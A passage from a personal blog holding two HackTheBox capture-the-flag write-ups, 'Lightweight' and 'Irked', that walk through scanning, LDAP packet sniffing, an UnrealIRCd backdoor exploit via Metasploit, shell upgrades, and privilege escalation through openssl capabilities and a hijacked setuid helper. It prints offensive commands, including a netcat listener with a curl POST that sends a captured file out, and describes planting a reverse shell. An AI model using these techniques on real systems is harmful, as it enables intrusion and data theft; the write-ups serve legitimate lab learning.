We have next to no rights on this box other than to our own home directory. I tried some of the usual stops here, such as Linenum and pspy, but to no avail. I ended up connecting to LDAP with no credentials, which let me see a few things, including password hashes for ldapuser1 and ldapuser2. I tried cracking these with both john and and hashcat using rockyou.txt without success. I had to call in some major support from my teammates, and once again I learned another step I should be using in my investigation: packet captures.

Recall during our review of the machine that there is a certain page that let's us reset our password if needed. How could that take place? How could a webpage be reaching into the box to reset our password? Well, let's think about some of the protocols involved here. Of the protocols advertised, the one that deals with user accounts and their statuses, is LDAP. With that in mind, we can set up a packet capture on the victim using tcpdump:

tcpdump 'port 389' -s 65535 -w ldap.pcap


'port 389' - Specifies the port for which we want to capture packets.

-s 0 - Set the capture file size to maximum to ensure that it will not truncate.

-w ldap.pcap - Specifies the file to which we want to write our capture.

I let this run for a couple of minutes, then browsed to the reset page and allowed my password to be reset. Once again, I waited, this time for at least five minutes. Once done, I killed the capture. I transferred the .pcap file to my machine using scp (I was unable to successfully set up a reachable server on the victim machine). However, I also played around with another exfiltration technique that I thought I'd share; using POST requests with curl.

First, I set up a netcat listener on my attacking machine (you could set up a better HTTP server, specifically one that supports POST requests, which SimpleHTTPServer does not). I piped the output of this listener to a file:

nc -lp 2113 > ldap.pcap


-l - Listen mode.

-p 2113 - Specifies the port on which to listen.

Then, from the victim machine, I ran the below command:

curl -X POST -d @389.pcap


-X - Specifies a request type.

POST - The request type for -X.

@389.pcap - The file to be posted, prepended with @.

Give the request a few moments to process, then kill your nc command. You can trim the file to edit out the HTTP portion of the request, or (and this works on the raw .pcap file, too) just run strings against the file and look for something interesting.

That's some awesome LDAP simple authentication bind info. What can we do with it, though? We can authenticate directly to LDAP, but our rights are no different than the non-authenticated session we had earlier. There has to be another angle.

I am embarrassed to say it, but this came down to some simple Linux knowledge of which I was not aware prior to this point. I've been using su for years, but I run most of my machines as root anyway (yes, I'm a terrible person, I know.) I was utterly unaware that su could be used to switch to any user account, but my wonderful backup squad at 0x00sec quickly corrected my knowledge gap. All that being said, I used su to switch to ldapuser2 with the simple password we captured in the authentication packet.

After all that work, we can finally grab the user flag. Once that's done, it's back to work.

If we take a look in the /home/ldapuser2 directory, we'll see a file named backup.7z. Once we've found this file, we can run file against it to confirm that it is, in fact, a .7z file.

I transfer the file to my machine to begin working on it. The first thing I do is try to unzip the file, but it is password-protected. A few quick Google searches (and some personal digging through memory) and I stumble upon which turns out to be irrelevant in this case.

I am not opposed to turning to the official HackTheBox forums in times of need, and a kind soul on there linked to backup.7z /usr/share/wordlists/dirb/small.txt

This tool did exactly the trick, and we now know the password for the archive:

Now we can extract the archive, and inside we find multitude of files. However, the file I am interested in is status.php. Why? Think about your experience when browsing the site on port 80. Was there any page that took longer to load than the others? For me, it was the blacklist page, status.php. Reviewing the source for this .php file, we locate the credentials for ldapuser1:

Once again we can use su to switch user. Now that we're closer to root, we can start enumerating with the usual tools, starting with Linenum. I get a copy of Linenum transferred to the victim machine, run chmod +x to grant executable rights, and execute it, sending output to Linenum.txt (if you so choose.)

I had to read the output file over and over and over again before learning yet another new thing: POSIX capabilities. Per the ArchWiki:

"Capabilities (POSIX 1003.1e, capabilities(7)) provide fine-grained control over superuser permissions, allowing use of the root user to be avoided. Software developers are encouraged to replace uses of the powerful setuid attribute in a system binary with a more minimal set of capabilities."

All that is to say we can abuse binaries with capabilities to gain elevated code execution. Let's look at our specific example, openssl.

Okay, but what can we do with it? That all depends on the binary. In this case, we can read the man page for openssl to look for something useful:

Per the man page, "Encoding and Cipher Commands: The following aliases provide convenient access to the most used encodings and ciphers." So, here's the command I want to try:

./openssl base64 -in /root/root.txt

NOTE: the ./ is important. You want to make sure you are calling the openssl binary in /home/ldapuser1, not the binary in PATH.

...And that looks successful. Let's decode it now by echoing the base64 output to base64 -d:

We have root, and that concludes our attack on Lightweight. There was a lot to think about here, and the pattern for escalation was a bit different, but overall I enjoyed this box.

See you again soon!

Tuesday, April 30, 2019

Post #23 - HackTheBox Write-Up: Irked

Welcome to another HackTheBox write-up! I'm posting the full write-up here on my blog instead of on 0x00sec because my compatriot vict0ni posted a nice write-up this time around.

This round's box was Irked. Let's attack.

As always, I kick off an Nmap:

nmap -sC -sV -oA Irked


-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Irked - The name of the files for -oA output. - The target machine’s IP address.

Here's what we got:

I don't have any creds for ssh, so I decide to visit the webpage first to get an idea what's going on with this box. Before I do that, though, I kick off my secondary Nmap scan:

nmap -p- -T3 -oA Irked.full


-p- - Scan all ports, not just most popular (this is the default behavior of Nmap).

-T3 - Timing control, where -T1 is paranoid and slow and -T5 is insane and fast. I figure -T3 is a good middle ground for HTB, although realistically it probably doesn’t matter.

We'll come back to this. For now, let's get some more tools running while we review the webpage:

gobuster -u -w /usr/share/wordlists/dirb/small.txt -o Irked.gob.txt


-u - Specifies the URL to gobust.

-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.

-o - Specifies the ouput file name.

nikto -host -port 80 -output Irked.nikto


-host - Specifies the target hostname/IP address.

-port - Specified the target port number.

-output - Specifies the output file name.

Not much going on, so I visit the webpage in a browser.

Still not much happening there, either. I downloaded the image to search for metadata, but didn't find anything. The source of the page, while sparse, did provide us with the potential clue "IRC server coming soon!"

And as we return to our full Nmap scan, our confidence in this clue grows significantly:

We see IRC is running on TCP port 6697. I happen to have HexChat installed on my machine, so I load it up and connect to the IRC server. Upon connecting, I note the banner states the server is running Unreal IRC I think it's time to consult searchsploit for possible exploits:

So there is a backdoor! Perfect! With that in mind, I prepare to fire up Metasploit, but before doing that I run searchsploit again to read the details of the exploit:

searchsploit -x exploits/linux/remote/16922.rb

This is not a very complicated exploit. Once we connect to the IRC server, we send AB;, which triggers the backdoor and allows us to execute code. We then execute our payload (in Metasploit we'll pick a reverse shell of some kind and set the payload option variable to that shell, but if we were exploiting manually we would literally just replace everything after AB; with our own code.)

With that in mind, let's get Metasploit armed and ready:

search unreal

use exploit/unix/irc/unreal_ircd_3281_backdoor

show options

set rhosts irked.htb

set rport 6697

show payloads

set payload cmd/unix/bind_perl


And we execute the exploit:

We're connected, but our shell is terrible. I spent a lot of time trying to poke at the things I thought I needed, but the limitations of the shell made it extremely difficult. As usual, the angel that is guly clued me in on a very standard trick for getting a better shell instantly:

python -c 'import pty; pty.spawn("/bin/bash")'


-c - Specifies that python should run the command inside the '' marks.

import pty - Tells python to import the pty module, which provides pseudo-terminal capabilities.

pty.spawn("/bin/bash") - Spawns a bash shell via pty.

Now we have a much better way of working with our foothold, so I start enumerating in earnest. It doesn't take long for me to spot the directory /home/djmardov/Documents. I am able to traverse into the directory, and I can see the user.txt file. However, I do not have permission to read it, so for now we'll leave it be. There is a hidden file named .backup that I am able to read.

Steganography. At last, my time has come. I know of only one thing that might hold something more than appeared at first glance; our irked.jpg file we grabbed from the webpage.

I chose to use steghide for this next part, and I ran it as follows (when prompted for the password, I provided UPupDOWNdownLRlrBAbaSSss):

steghide extract -sf irked.jpg


extract - Extract hidden data from the source file.

-sf - Specifies we are inputting a file that contains hidden data.

irked.jpg - The source file.

Once we've run the command, the file pass.txt is extracted. If we cat this file, we see a string:

This might be our password, so knowing the directory we found it in, let's turn to ssh to see if we can authenticate and get another shell:

And now we've got a shell as djmardov. Let's grab our user flag, then start enumerating.

I spent an eternity on this box after this point. I learned a lot about enumeration. I used a combination of this resource and the venerable (though new to me at time of working on this box) Linenum and pspy.

For Linenum, I ran it and just piped the output to Linenum.txt. The same goes for pspy (though because pspy listens until terminated, I tend to run it for at least five minutes to ensure I capture any processes that recur on a scheduled basis). On this box I ran pspy32s (the smaller, 32-bit version of pspy.) Pictured below is the portion of output from Linenum that held the key to our root path, although I completely missed it because I am still a noob when it comes to Linux privesc.

I ran file on viewuser and confirmed it is an ELF. I read the contents of the file (you can do this with, in my preferred order, strings, xxd, less, or cat) and noted this interesting bit:

I don't recognize that file, but my guess was that if I placed it in the given directory, something would happen. I had to fuss around a bit and first tried just a text file with commands in it, but then realized I needed to add #!/bin/bash to it. Then I got access denied, so I ran chmod +x on it. You can add whatever you want to the file to get code execution as root; I selected a python reverse shell:

I fire up a netcat listener on my attacking machine, then run /usr/bin/viewusers. My shell connects, and I run whoami to confirm that I am root. I then upgrade my shell again with python -c 'import pty; pty.spawn("/bin/bash")' before navigating to and grabbing the root flag.

That's it for this box. I enjoyed it quite a bit, even if it humbled me and taught me once again that my biggest weakness (and probably the most important part of CTF if not offsec as a whole) is enumeration.

Thanks for reading!